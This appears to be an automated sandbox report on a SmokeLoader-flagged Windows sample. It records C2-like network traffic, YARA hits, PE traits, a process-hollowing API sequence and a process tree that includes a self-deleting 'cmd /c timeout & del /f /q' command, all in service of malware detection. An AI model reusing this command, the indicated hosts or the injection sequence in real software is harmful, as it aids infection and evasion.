65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Source: unknown	TCP traffic detected without corresponding DNS query: 185.186.142.166
Source: unknown	TCP traffic detected without corresponding DNS query: 185.186.142.166
Source: unknown	TCP traffic detected without corresponding DNS query: 185.186.142.166
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.28.199
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.28.199
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.28.199
Source: unknown	TCP traffic detected without corresponding DNS query: 91.243.44.128
Source: unknown	TCP traffic detected without corresponding DNS query: 91.243.44.128
Source: unknown	TCP traffic detected without corresponding DNS query: 91.243.44.128
Source: unknown	TCP traffic detected without corresponding DNS query: 91.243.44.128
Source: unknown	TCP traffic detected without corresponding DNS query: 91.243.44.128
Source: unknown	TCP traffic detected without corresponding DNS query: 91.243.44.128
Source: unknown	TCP traffic detected without corresponding DNS query: 91.243.44.128
Source: unknown	TCP traffic detected without corresponding DNS query: 91.243.44.128
Source: unknown	TCP traffic detected without corresponding DNS query: 91.243.44.128
Source: unknown	TCP traffic detected without corresponding DNS query: 91.243.44.128
Source: unknown	TCP traffic detected without corresponding DNS query: 91.243.44.128
Source: unknown	TCP traffic detected without corresponding DNS query: 91.243.44.128
Source: unknown	TCP traffic detected without corresponding DNS query: 91.243.44.128
Source: unknown	TCP traffic detected without corresponding DNS query: 91.243.44.128
Source: unknown	TCP traffic detected without corresponding DNS query: 91.243.44.128
Source: unknown	TCP traffic detected without corresponding DNS query: 91.243.44.128
Source: unknown	TCP traffic detected without corresponding DNS query: 91.243.44.128
Source: unknown	TCP traffic detected without corresponding DNS query: 91.243.44.128
Source: unknown	TCP traffic detected without corresponding DNS query: 91.243.44.128
Source: unknown	TCP traffic detected without corresponding DNS query: 91.243.44.128
Source: unknown	TCP traffic detected without corresponding DNS query: 91.243.44.128
Source: unknown	TCP traffic detected without corresponding DNS query: 91.243.44.128
Source: unknown	TCP traffic detected without corresponding DNS query: 91.243.44.128
Source: unknown	TCP traffic detected without corresponding DNS query: 91.243.44.128
Source: unknown	TCP traffic detected without corresponding DNS query: 91.243.44.128
Source: unknown	TCP traffic detected without corresponding DNS query: 91.243.44.128
Source: unknown	TCP traffic detected without corresponding DNS query: 91.243.44.128
Source: unknown	TCP traffic detected without corresponding DNS query: 91.243.44.128
Source: unknown	TCP traffic detected without corresponding DNS query: 91.243.44.128
Source: unknown	TCP traffic detected without corresponding DNS query: 91.243.44.128

Source: AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp	String found in binary or memory: ium PDF Plugin","versions":[{"comment":"Chromium PDF Plugin has no version information.","status":"fully_trusted","version":"0"}]},"divx-player":{"group_name_matcher":"DivX Web Player","help_url":"https://support.google.com/chrome/?p=plugin_divx","lang":"en-US","mime_types":["video/divx","video/x-matroska"],"name":"DivX Web Player","url":"http://download.divx.com/player/divxdotcom/DivXWebPlayerInstaller.exe","versions":[{"status":"requires_authorization","version":"1.4.3.4"}]},"facebook-video-calling":{"group_name_matcher":"Facebook Video","lang":"en-US","mime_types":["application/skypesdk-plugin"],"name":"Facebook Video Calling","url":"https://www.facebook.com/chat/video/videocalldownload.php","versions":[{"comment":"We do not track version information for the Facebook Video Calling Plugin.","status":"requires_authorization","version":"0"}]},"google-chrome-pdf":{"group_name_matcher":"Chrome PDF Viewer","mime_types":[],"name":"Chrome PDF Viewer","versions":[{"comment":"Google Chrome PDF Viewer has no version information.","status":"fully_trusted","version":"0"}]},"google-chrome-pdf-plugin":{"group_name_matcher":"Chrome PDF Plugin","mime_types":[],"name":"Chrome PDF Plugin","versions":[{"comment":"Google Chrome PDF Plugin has no version information.","status":"fully_trusted","version":"0"}]},"google-earth":{"group_name_matcher":"Google Earth","lang":"en-US","mime_types":["application/geplugin"],"name":"Google Earth","url":"http://www.google.com/earth/explore/products/plugin.html","versions":[{"comment":"We do not track version information for the Google Earth Plugin.","status":"requires_authorization","version":"0"}]},"google-talk":{"group_name_matcher":"Google Talk","mime_types":[],"name":"Google Talk","versions":[{"comment":"'Google Talk Plugin' and 'Google Talk Plugin Video Accelerator' use two completely different versioning schemes, so we can't define a minimum version.","status":"requires_authorization","version":"0"}]},"google-update":{"group_name_matcher":"Google Update","mime-types":[],"name":"Google Update","versions":[{"comment":"Google Update plugin is versioned but kept automatically up to date","status":"requires_authorization","version":"0"}]},"ibm-java-runtime-environment":{"group_name_matcher":"IBMJava*","mime_types":["application/x-java-applet","application/x-java-applet;jpi-version=1.7.0_05","application/x-java-applet;version=1.1","application/x-java-applet;version=1.1.1","application/x-java-applet;version=1.1.2","application/x-java-applet;version=1.1.3","application/x-java-applet;version=1.2","application/x-java-applet;version=1.2.1","application/x-java-applet;version=1.2.2","application/x-java-applet;version=1.3","application/x-java-applet;version=1.3.1","application/x-java-applet;version=1.4","application/x-java-applet;version=1.4.1","application/x-java-applet;version=1.4.2","application/x-java-applet;version=1.5","application/x-java-applet;version=1.6","application/x-java-applet;version=1.7","application/x-java
Source: 110B.exe, 0000001E.00000002.553147374.00000000029CE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554078417.0000000002C6F000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.579196810.00000000031BC000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.578685355.00000000035CF000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579589197.00000000070AB000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578808138.0000000007009000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580429368.000000000716C000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577399418.0000000006E04000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp	String found in binary or memory: m9https://www.facebook.com/chat/video/videocalldownload.php equals www.facebook.com (Facebook)

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://ycifwuti.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 218Host: host-data-coin-11.com

Source: unknown	HTTPS traffic detected: 162.159.134.233:443 -> 192.168.2.3:49798 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.3:49841 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.134.233:443 -> 192.168.2.3:49847 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 155.248.231.246:443 -> 192.168.2.3:49865 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 00000003.00000002.338228671.0000000002431000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.338186789.0000000002170000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000000.322844951.0000000004DE1000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.386977371.0000000000521000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.415364379.0000000001F51000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.415203657.0000000000460000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.386920457.0000000000420000.00000004.00000001.sdmp, type: MEMORY

Source: H4HU4rg1NM.exe, 00000001.00000002.280811104.000000000072A000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

System Summary:

PE file has nameless sections

Show sources

Source: A87C.exe.13.dr	Static PE information: section name:
Source: A87C.exe.13.dr	Static PE information: section name:
Source: A87C.exe.13.dr	Static PE information: section name:
Source: A87C.exe.13.dr	Static PE information: section name:
Source: A87C.exe.13.dr	Static PE information: section name:
Source: A87C.exe.13.dr	Static PE information: section name:
Source: A87C.exe.13.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: 1_2_004E31FF	1_2_004E31FF
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: 1_2_004E3253	1_2_004E3253
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: 3_2_00402A5F	3_2_00402A5F
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: 3_2_00402AB3	3_2_00402AB3
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: 3_1_00402A5F	3_1_00402A5F
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: 3_1_00402AB3	3_1_00402AB3
Source: C:\Users\user\AppData\Roaming\iudbdfd	Code function: 17_2_004E3253	17_2_004E3253
Source: C:\Users\user\AppData\Roaming\iudbdfd	Code function: 17_2_004E31FF	17_2_004E31FF
Source: C:\Users\user\AppData\Roaming\iudbdfd	Code function: 18_2_00402A5F	18_2_00402A5F
Source: C:\Users\user\AppData\Roaming\iudbdfd	Code function: 18_2_00402AB3	18_2_00402AB3
Source: C:\Users\user\AppData\Roaming\iudbdfd	Code function: 18_1_00402A5F	18_1_00402A5F
Source: C:\Users\user\AppData\Roaming\iudbdfd	Code function: 18_1_00402AB3	18_1_00402AB3
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: 22_2_005B31FF	22_2_005B31FF
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: 22_2_005B3253	22_2_005B3253
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: 23_2_00402A5F	23_2_00402A5F
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: 23_2_00402AB3	23_2_00402AB3
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Code function: 25_2_00410800	25_2_00410800
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Code function: 25_2_00411280	25_2_00411280
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Code function: 25_2_004103F0	25_2_004103F0
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Code function: 25_2_004109F0	25_2_004109F0
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_01949458	28_2_01949458
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_01940470	28_2_01940470
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_01940462	28_2_01940462
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_033943F8	28_2_033943F8
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_033911C8	28_2_033911C8
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_03395080	28_2_03395080
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_0339A0D0	28_2_0339A0D0
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_033957F8	28_2_033957F8
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_03390550	28_2_03390550
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_0339AA08	28_2_0339AA08
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_03392928	28_2_03392928
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_03398970	28_2_03398970
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_03396EE9	28_2_03396EE9
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_03398D60	28_2_03398D60
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_0339B2D8	28_2_0339B2D8
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_03396458	28_2_03396458
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_03398D52	28_2_03398D52
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_058C1410	28_2_058C1410
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_058C4FF8	28_2_058C4FF8
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_058C7B28	28_2_058C7B28
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_058C0040	28_2_058C0040
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_058C7857	28_2_058C7857
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_058C2A48	28_2_058C2A48
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 30_2_00C1EC28	30_2_00C1EC28

Source: H4HU4rg1NM.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: H4HU4rg1NM.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 7728.exe.13.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 7728.exe.13.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 8CA5.exe.13.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 325D.exe.13.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 325D.exe.13.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 4D1A.exe.13.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 4D1A.exe.13.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: iudbdfd.13.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: iudbdfd.13.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Windows\explorer.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Section loaded: mscorjit.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9B5C.exe	Section loaded: mscorjit.dll

Source: sqlite3[1].dll.25.dr	Static PE information: Number of sections : 19 > 10
Source: sqlite3.dll.25.dr	Static PE information: Number of sections : 19 > 10

Source: 56DF.exe.13.dr

Static PE information: Data appended to the last section found

Source: H4HU4rg1NM.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: String function: 004282F0 appears 93 times
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: String function: 00426910 appears 133 times
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: String function: 00426940 appears 133 times
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: String function: 00428320 appears 93 times
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Code function: String function: 004048D0 appears 460 times

Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: 1_2_004E0110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,	1_2_004E0110
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: 3_2_00401962 Sleep,NtTerminateProcess,	3_2_00401962
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: 3_2_0040196D Sleep,NtTerminateProcess,	3_2_0040196D
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: 3_2_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	3_2_00402000
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: 3_2_0040250A NtEnumerateKey,NtEnumerateKey,NtClose,	3_2_0040250A
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: 3_2_00401A0B NtTerminateProcess,	3_2_00401A0B
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: 3_2_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	3_2_0040201A
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: 3_2_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	3_2_0040201E
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: 3_2_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	3_2_0040202D
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: 3_2_00402084 LocalAlloc,NtQuerySystemInformation,	3_2_00402084
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: 3_2_00402491 NtOpenKey,	3_2_00402491
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: 3_1_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	3_1_00402000
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: 3_1_0040250A NtEnumerateKey,NtEnumerateKey,NtClose,	3_1_0040250A
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: 3_1_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	3_1_0040201A
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: 3_1_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	3_1_0040201E
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: 3_1_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	3_1_0040202D
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: 3_1_00402084 LocalAlloc,NtQuerySystemInformation,	3_1_00402084
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: 3_1_00402491 NtOpenKey,	3_1_00402491
Source: C:\Users\user\AppData\Roaming\iudbdfd	Code function: 17_2_004E0110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,	17_2_004E0110
Source: C:\Users\user\AppData\Roaming\iudbdfd	Code function: 18_2_00401962 Sleep,NtTerminateProcess,	18_2_00401962
Source: C:\Users\user\AppData\Roaming\iudbdfd	Code function: 18_2_0040196D Sleep,NtTerminateProcess,	18_2_0040196D
Source: C:\Users\user\AppData\Roaming\iudbdfd	Code function: 18_2_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	18_2_00402000
Source: C:\Users\user\AppData\Roaming\iudbdfd	Code function: 18_2_0040250A NtEnumerateKey,NtEnumerateKey,NtClose,	18_2_0040250A
Source: C:\Users\user\AppData\Roaming\iudbdfd	Code function: 18_2_00401A0B NtTerminateProcess,	18_2_00401A0B
Source: C:\Users\user\AppData\Roaming\iudbdfd	Code function: 18_2_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	18_2_0040201A
Source: C:\Users\user\AppData\Roaming\iudbdfd	Code function: 18_2_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	18_2_0040201E
Source: C:\Users\user\AppData\Roaming\iudbdfd	Code function: 18_2_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	18_2_0040202D
Source: C:\Users\user\AppData\Roaming\iudbdfd	Code function: 18_2_00402084 LocalAlloc,NtQuerySystemInformation,	18_2_00402084
Source: C:\Users\user\AppData\Roaming\iudbdfd	Code function: 18_2_00402491 NtOpenKey,	18_2_00402491
Source: C:\Users\user\AppData\Roaming\iudbdfd	Code function: 18_1_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	18_1_00402000
Source: C:\Users\user\AppData\Roaming\iudbdfd	Code function: 18_1_0040250A NtEnumerateKey,NtEnumerateKey,NtClose,	18_1_0040250A
Source: C:\Users\user\AppData\Roaming\iudbdfd	Code function: 18_1_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	18_1_0040201A
Source: C:\Users\user\AppData\Roaming\iudbdfd	Code function: 18_1_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	18_1_0040201E
Source: C:\Users\user\AppData\Roaming\iudbdfd	Code function: 18_1_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	18_1_0040202D
Source: C:\Users\user\AppData\Roaming\iudbdfd	Code function: 18_1_00402084 LocalAlloc,NtQuerySystemInformation,	18_1_00402084
Source: C:\Users\user\AppData\Roaming\iudbdfd	Code function: 18_1_00402491 NtOpenKey,	18_1_00402491
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: 22_2_005B0110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,	22_2_005B0110
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: 23_2_00401962 Sleep,NtTerminateProcess,	23_2_00401962
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: 23_2_0040196D Sleep,NtTerminateProcess,	23_2_0040196D
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: 23_2_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	23_2_00402000
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: 23_2_0040250A NtEnumerateKey,NtEnumerateKey,NtClose,	23_2_0040250A
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: 23_2_00401A0B NtTerminateProcess,	23_2_00401A0B
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: 23_2_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	23_2_0040201A
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: 23_2_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	23_2_0040201E
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: 23_2_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	23_2_0040202D
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: 23_2_00402084 LocalAlloc,NtQuerySystemInformation,	23_2_00402084
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: 23_2_00402491 NtOpenKey,	23_2_00402491
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_058FF7A0 NtAllocateVirtualMemory,	28_2_058FF7A0
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_058FF6C0 NtUnmapViewOfSection,	28_2_058FF6C0

Source: 56DF.exe.13.dr

Static PE information: No import functions for PE file found

Source: 7728.exe.13.dr

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: A87C.exe.13.dr

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESERVED size: 0x100000 address: 0x0

Source: 8CA5.exe.13.dr	Static PE information: Section: DATA ZLIB complexity 0.999436515824
Source: A87C.exe.13.dr	Static PE information: Section: ZLIB complexity 1.00052083333
Source: A87C.exe.13.dr	Static PE information: Section: ZLIB complexity 1.0107421875
Source: A87C.exe.13.dr	Static PE information: Section: ZLIB complexity 1.00306919643
Source: A87C.exe.13.dr	Static PE information: Section: .rsrc ZLIB complexity 0.999701433121

Source: H4HU4rg1NM.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\iudbdfd

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@35/33@65/16

Source: C:\Users\user\AppData\Local\Temp\4D1A.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\A87C.exe

Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: H4HU4rg1NM.exe	Virustotal: Detection: 33%
Source: H4HU4rg1NM.exe	ReversingLabs: Detection: 53%

Source: C:\Users\user\Desktop\H4HU4rg1NM.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\H4HU4rg1NM.exe "C:\Users\user\Desktop\H4HU4rg1NM.exe"
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Process created: C:\Users\user\Desktop\H4HU4rg1NM.exe "C:\Users\user\Desktop\H4HU4rg1NM.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\iudbdfd C:\Users\user\AppData\Roaming\iudbdfd
Source: C:\Users\user\AppData\Roaming\iudbdfd	Process created: C:\Users\user\AppData\Roaming\iudbdfd C:\Users\user\AppData\Roaming\iudbdfd
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\325D.exe C:\Users\user\AppData\Local\Temp\325D.exe
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Process created: C:\Users\user\AppData\Local\Temp\325D.exe C:\Users\user\AppData\Local\Temp\325D.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\4D1A.exe C:\Users\user\AppData\Local\Temp\4D1A.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\110B.exe C:\Users\user\AppData\Local\Temp\110B.exe
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process created: C:\Users\user\AppData\Local\Temp\110B.exe C:\Users\user\AppData\Local\Temp\110B.exe
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\Temp\4D1A.exe" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 5
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\7728.exe C:\Users\user\AppData\Local\Temp\7728.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\8CA5.exe C:\Users\user\AppData\Local\Temp\8CA5.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\9B5C.exe C:\Users\user\AppData\Local\Temp\9B5C.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\A87C.exe C:\Users\user\AppData\Local\Temp\A87C.exe
Source: C:\Users\user\AppData\Local\Temp\9B5C.exe	Process created: C:\Users\user\AppData\Local\Temp\9B5C.exe C:\Users\user\AppData\Local\Temp\9B5C.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\C26E.exe C:\Users\user\AppData\Local\Temp\C26E.exe
Source: C:\Users\user\AppData\Local\Temp\A87C.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\Temp\8CA5.exe" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
